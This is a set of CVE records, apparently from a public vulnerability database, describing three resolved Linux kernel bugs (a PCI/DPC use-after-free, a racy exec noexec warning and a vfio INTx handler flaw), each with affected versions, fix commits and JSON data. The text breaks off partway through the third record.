PCI/DPC: Fix use-after-free on concurrent DPC and hot-removal

Summary

In the Linux kernel, the following vulnerability has been resolved: PCI/DPC: Fix use-after-free on concurrent DPC and hot-removal Keith reports a use-after-free when a DPC event occurs concurrently to hot-removal of the same portion of the hierarchy: The dpc_handler() awaits readiness of the secondary bus below the Downstream Port where the DPC event occurred. To do so, it polls the config space of the first child device on the secondary bus. If that child device is concurrently removed, accesses to its struct pci_dev cause the kernel to oops. That's because pci_bridge_wait_for_secondary_bus() neglects to hold a reference on the child device. Before v6.3, the function was only called on resume from system sleep or on runtime resume. Holding a reference wasn't necessary back then because the pciehp IRQ thread could never run concurrently. (On resume from system sleep, IRQs are not enabled until after the resume_noirq phase. And runtime resume is always awaited before a PCI device is removed.) However starting with v6.3, pci_bridge_wait_for_secondary_bus() is also called on a DPC event. Commit 53b54ad074de ("PCI/DPC: Await readiness of secondary bus after reset"), which introduced that, failed to appreciate that pci_bridge_wait_for_secondary_bus() now needs to hold a reference on the child device because dpc_handler() and pciehp may indeed run concurrently. The commit was backported to v5.10+ stable kernels, so that's the oldest one affected. Add the missing reference acquisition. Abridged stack trace: BUG: unable to handle page fault for address: 00000000091400c0 CPU: 15 PID: 2464 Comm: irq/53-pcie-dpc 6.9.0 RIP: pci_bus_read_config_dword+0x17/0x50 pci_dev_wait() pci_bridge_wait_for_secondary_bus() dpc_reset_link() pcie_do_recovery() dpc_handler()

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/c52f9e1a9eb40f139…
https://git.kernel.org/stable/c/2c111413f38ca5cf8…
https://git.kernel.org/stable/c/f63df70b439bb8331…
https://git.kernel.org/stable/c/2cc8973bdc4d6c928…
https://git.kernel.org/stable/c/b16f3ea1db47a6766…
https://git.kernel.org/stable/c/11a1f4bc47362700f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: d0292124bb5787a2f1ab1316509e801ca89c10fb , < c52f9e1a9eb40f13993142c331a6cfd334d4b91d (git) Affected: ffe2318405e605f1b3985ce188eff69e6d1d1baa , < 2c111413f38ca5cf87557cab89f6d82b0e3433e7 (git) Affected: 189f856e76f5463f59efb5fc18dcc1692d04c41a , < f63df70b439bb8331358a306541893bf415bf1da (git) Affected: 53b54ad074de1896f8b021615f65b27f557ce874 , < 2cc8973bdc4d6c928ebe38b88090a2cdfe81f42f (git) Affected: 53b54ad074de1896f8b021615f65b27f557ce874 , < b16f3ea1db47a6766a9f1169244cf1fc287a7c62 (git) Affected: 53b54ad074de1896f8b021615f65b27f557ce874 , < 11a1f4bc47362700fcbde717292158873fb847ed (git) Affected: 0081032082b5b45ca902b3c3d6986cb5cca69ff2 (git)
Linux	Linux	Affected: 6.3 Unaffected: 0 , < 6.3 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42302",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:10:28.656566Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:28.331Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:04:06.070Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:49.184Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c52f9e1a9eb40f13993142c331a6cfd334d4b91d",
              "status": "affected",
              "version": "d0292124bb5787a2f1ab1316509e801ca89c10fb",
              "versionType": "git"
            },
            {
              "lessThan": "2c111413f38ca5cf87557cab89f6d82b0e3433e7",
              "status": "affected",
              "version": "ffe2318405e605f1b3985ce188eff69e6d1d1baa",
              "versionType": "git"
            },
            {
              "lessThan": "f63df70b439bb8331358a306541893bf415bf1da",
              "status": "affected",
              "version": "189f856e76f5463f59efb5fc18dcc1692d04c41a",
              "versionType": "git"
            },
            {
              "lessThan": "2cc8973bdc4d6c928ebe38b88090a2cdfe81f42f",
              "status": "affected",
              "version": "53b54ad074de1896f8b021615f65b27f557ce874",
              "versionType": "git"
            },
            {
              "lessThan": "b16f3ea1db47a6766a9f1169244cf1fc287a7c62",
              "status": "affected",
              "version": "53b54ad074de1896f8b021615f65b27f557ce874",
              "versionType": "git"
            },
            {
              "lessThan": "11a1f4bc47362700fcbde717292158873fb847ed",
              "status": "affected",
              "version": "53b54ad074de1896f8b021615f65b27f557ce874",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0081032082b5b45ca902b3c3d6986cb5cca69ff2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/pci/pci.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.3"
            },
            {
              "lessThan": "6.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.10.176",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.15.104",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "6.1.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "6.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.2.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/DPC: Fix use-after-free on concurrent DPC and hot-removal\n\nKeith reports a use-after-free when a DPC event occurs concurrently to\nhot-removal of the same portion of the hierarchy:\n\nThe dpc_handler() awaits readiness of the secondary bus below the\nDownstream Port where the DPC event occurred.  To do so, it polls the\nconfig space of the first child device on the secondary bus.  If that\nchild device is concurrently removed, accesses to its struct pci_dev\ncause the kernel to oops.\n\nThat\u0027s because pci_bridge_wait_for_secondary_bus() neglects to hold a\nreference on the child device.  Before v6.3, the function was only\ncalled on resume from system sleep or on runtime resume.  Holding a\nreference wasn\u0027t necessary back then because the pciehp IRQ thread\ncould never run concurrently.  (On resume from system sleep, IRQs are\nnot enabled until after the resume_noirq phase.  And runtime resume is\nalways awaited before a PCI device is removed.)\n\nHowever starting with v6.3, pci_bridge_wait_for_secondary_bus() is also\ncalled on a DPC event.  Commit 53b54ad074de (\"PCI/DPC: Await readiness\nof secondary bus after reset\"), which introduced that, failed to\nappreciate that pci_bridge_wait_for_secondary_bus() now needs to hold a\nreference on the child device because dpc_handler() and pciehp may\nindeed run concurrently.  The commit was backported to v5.10+ stable\nkernels, so that\u0027s the oldest one affected.\n\nAdd the missing reference acquisition.\n\nAbridged stack trace:\n\n  BUG: unable to handle page fault for address: 00000000091400c0\n  CPU: 15 PID: 2464 Comm: irq/53-pcie-dpc 6.9.0\n  RIP: pci_bus_read_config_dword+0x17/0x50\n  pci_dev_wait()\n  pci_bridge_wait_for_secondary_bus()\n  dpc_reset_link()\n  pcie_do_recovery()\n  dpc_handler()"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:44.995Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c52f9e1a9eb40f13993142c331a6cfd334d4b91d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2c111413f38ca5cf87557cab89f6d82b0e3433e7"
        },
        {
          "url": "https://git.kernel.org/stable/c/f63df70b439bb8331358a306541893bf415bf1da"
        },
        {
          "url": "https://git.kernel.org/stable/c/2cc8973bdc4d6c928ebe38b88090a2cdfe81f42f"
        },
        {
          "url": "https://git.kernel.org/stable/c/b16f3ea1db47a6766a9f1169244cf1fc287a7c62"
        },
        {
          "url": "https://git.kernel.org/stable/c/11a1f4bc47362700fcbde717292158873fb847ed"
        }
      ],
      "title": "PCI/DPC: Fix use-after-free on concurrent DPC and hot-removal",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42302",
    "datePublished": "2024-08-17T09:09:08.891Z",
    "dateReserved": "2024-07-30T07:40:12.272Z",
    "dateUpdated": "2026-05-12T11:56:49.184Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50010 (GCVE-0-2024-50010)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:54 – Updated: 2026-05-12 11:59

Title

exec: don't WARN for racy path_noexec check

Summary

In the Linux kernel, the following vulnerability has been resolved: exec: don't WARN for racy path_noexec check Both i_mode and noexec checks wrapped in WARN_ON stem from an artifact of the previous implementation. They used to legitimately check for the condition, but that got moved up in two commits: 633fb6ac3980 ("exec: move S_ISREG() check earlier") 0fd338b2d2cd ("exec: move path_noexec() check earlier") Instead of being removed said checks are WARN_ON'ed instead, which has some debug value. However, the spurious path_noexec check is racy, resulting in unwarranted warnings should someone race with setting the noexec flag. One can note there is more to perm-checking whether execve is allowed and none of the conditions are guaranteed to still hold after they were tested for. Additionally this does not validate whether the code path did any perm checking to begin with -- it will pass if the inode happens to be regular. Keep the redundant path_noexec() check even though it's mindless nonsense checking for guarantee that isn't given so drop the WARN. Reword the commentary and do small tidy ups while here. [brauner: keep redundant path_noexec() check]

Severity ?

No CVSS data available.

Assigner

Linux

References

5 references

URL	Tags
https://git.kernel.org/stable/c/c9b77438077d5a20c…
https://git.kernel.org/stable/c/b723f96407a0a078c…
https://git.kernel.org/stable/c/0bdf77be2330062b3…
https://git.kernel.org/stable/c/0d16f53c91111cec9…
https://git.kernel.org/stable/c/0d196e7589cefe207…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0fd338b2d2cdf827091ae819ae90ad760b94ad0c , < c9b77438077d5a20c79ead95bcdaf9bd4797baaf (git) Affected: 0fd338b2d2cdf827091ae819ae90ad760b94ad0c , < b723f96407a0a078cf75970e4dbf16b46d286a61 (git) Affected: 0fd338b2d2cdf827091ae819ae90ad760b94ad0c , < 0bdf77be2330062b3a64f2bec39f62ab874a6796 (git) Affected: 0fd338b2d2cdf827091ae819ae90ad760b94ad0c , < 0d16f53c91111cec914f0811fcc526a2ba77b20d (git) Affected: 0fd338b2d2cdf827091ae819ae90ad760b94ad0c , < 0d196e7589cefe207d5d41f37a0a28a1fdeeb7c6 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50010",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:28:46.297827Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:39.816Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:26.304Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:46.735Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/exec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c9b77438077d5a20c79ead95bcdaf9bd4797baaf",
              "status": "affected",
              "version": "0fd338b2d2cdf827091ae819ae90ad760b94ad0c",
              "versionType": "git"
            },
            {
              "lessThan": "b723f96407a0a078cf75970e4dbf16b46d286a61",
              "status": "affected",
              "version": "0fd338b2d2cdf827091ae819ae90ad760b94ad0c",
              "versionType": "git"
            },
            {
              "lessThan": "0bdf77be2330062b3a64f2bec39f62ab874a6796",
              "status": "affected",
              "version": "0fd338b2d2cdf827091ae819ae90ad760b94ad0c",
              "versionType": "git"
            },
            {
              "lessThan": "0d16f53c91111cec914f0811fcc526a2ba77b20d",
              "status": "affected",
              "version": "0fd338b2d2cdf827091ae819ae90ad760b94ad0c",
              "versionType": "git"
            },
            {
              "lessThan": "0d196e7589cefe207d5d41f37a0a28a1fdeeb7c6",
              "status": "affected",
              "version": "0fd338b2d2cdf827091ae819ae90ad760b94ad0c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/exec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: don\u0027t WARN for racy path_noexec check\n\nBoth i_mode and noexec checks wrapped in WARN_ON stem from an artifact\nof the previous implementation. They used to legitimately check for the\ncondition, but that got moved up in two commits:\n633fb6ac3980 (\"exec: move S_ISREG() check earlier\")\n0fd338b2d2cd (\"exec: move path_noexec() check earlier\")\n\nInstead of being removed said checks are WARN_ON\u0027ed instead, which\nhas some debug value.\n\nHowever, the spurious path_noexec check is racy, resulting in\nunwarranted warnings should someone race with setting the noexec flag.\n\nOne can note there is more to perm-checking whether execve is allowed\nand none of the conditions are guaranteed to still hold after they were\ntested for.\n\nAdditionally this does not validate whether the code path did any perm\nchecking to begin with -- it will pass if the inode happens to be\nregular.\n\nKeep the redundant path_noexec() check even though it\u0027s mindless\nnonsense checking for guarantee that isn\u0027t given so drop the WARN.\n\nReword the commentary and do small tidy ups while here.\n\n[brauner: keep redundant path_noexec() check]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:48.112Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c9b77438077d5a20c79ead95bcdaf9bd4797baaf"
        },
        {
          "url": "https://git.kernel.org/stable/c/b723f96407a0a078cf75970e4dbf16b46d286a61"
        },
        {
          "url": "https://git.kernel.org/stable/c/0bdf77be2330062b3a64f2bec39f62ab874a6796"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d16f53c91111cec914f0811fcc526a2ba77b20d"
        },
        {
          "url": "https://git.kernel.org/stable/c/0d196e7589cefe207d5d41f37a0a28a1fdeeb7c6"
        }
      ],
      "title": "exec: don\u0027t WARN for racy path_noexec check",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50010",
    "datePublished": "2024-10-21T18:54:02.974Z",
    "dateReserved": "2024-10-21T12:17:06.061Z",
    "dateUpdated": "2026-05-12T11:59:46.735Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26812 (GCVE-0-2024-26812)

Vulnerability from cvelistv5 – Published: 2024-04-05 08:24 – Updated: 2026-05-12 11:49

Title

vfio/pci: Create persistent INTx handler

Summary

In the Linux kernel, the following vulnerability has been resolved: vfio/pci: Create persistent INTx handler A vulnerability exists where the eventfd for INTx signaling can be deconfigured, which unregisters the IRQ handler but still allows eventfds to be signaled with a NULL context through the SET_IRQS ioctl or through unmask irqfd if the device interrupt is pending. Ideally this could be solved with some additional locking; the igate mutex serializes the ioctl and config space accesses, and the interrupt handler is unregistered relative to the trigger, but the irqfd path runs asynchronous to those. The igate mutex cannot be acquired from the atomic context of the eventfd wake function. Disabling the irqfd relative to the eventfd registration is potentially incompatible with existing userspace. As a result, the solution implemented here moves configuration of the INTx interrupt handler to track the lifetime of the INTx context object and irq_type configuration, rather than registration of a particular trigger eventfd. Synchronization is added between the ioctl path and eventfd_signal() wrapper such that the eventfd trigger can be dynamically updated relative to in-flight interrupts or irqfd callbacks.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/b18fa894d615c8527…
https://git.kernel.org/stable/c/27d40bf72dd9a6600…
https://git.kernel.org/stable/c/4cb0d7532126d2314…
https://git.kernel.org/stable/c/7d29d4c72c1e196cc…
https://git.kernel.org/stable/c/69276a555c740acfb…
https://git.kernel.org/stable/c/4c089cefe30924fbe…
https://git.kernel.org/stable/c/0e09cf81959d9f12b…
https://git.kernel.org/stable/c/18c198c96a815c962…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < b18fa894d615c8527e15d96b76c7448800e13899 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 27d40bf72dd9a6600b76ad05859176ea9a1b4897 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 4cb0d7532126d23145329826c38054b4e9a05e7c (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 7d29d4c72c1e196cce6969c98072a272d1a703b3 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 69276a555c740acfbff13fb5769ee9c92e1c828e (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 4c089cefe30924fbe20dd1ee92774ea1f5eca834 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 0e09cf81959d9f12b75ad5c6dd53d237432ed034 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 18c198c96a815c962adc2b9b77909eec0be7df4d (git)
Linux	Linux	Affected: 3.6 Unaffected: 0 , < 3.6 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26812",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-05T14:00:34.055358Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:20:45.884Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.527Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b18fa894d615c8527e15d96b76c7448800e13899"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/27d40bf72dd9a6600b76ad05859176ea9a1b4897"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4cb0d7532126d23145329826c38054b4e9a05e7c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7d29d4c72c1e196cce6969c98072a272d1a703b3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69276a555c740acfbff13fb5769ee9c92e1c828e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4c089cefe30924fbe20dd1ee92774ea1f5eca834"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0e09cf81959d9f12b75ad5c6dd53d237432ed034"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/18c198c96a815c962adc2b9b77909eec0be7df4d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:29.134Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b18fa894d615c8527e15d96b76c7448800e13899",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "27d40bf72dd9a6600b76ad05859176ea9a1b4897",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "4cb0d7532126d23145329826c38054b4e9a05e7c",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "7d29d4c72c1e196cce6969c98072a272d1a703b3",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "69276a555c740acfbff13fb5769ee9c92e1c828e",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "4c089cefe30924fbe20dd1ee92774ea1f5eca834",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "0e09cf81959d9f12b75ad5c6dd53d237432ed034",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "18c198c96a815c962adc2b9b77909eec0be7df4d",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
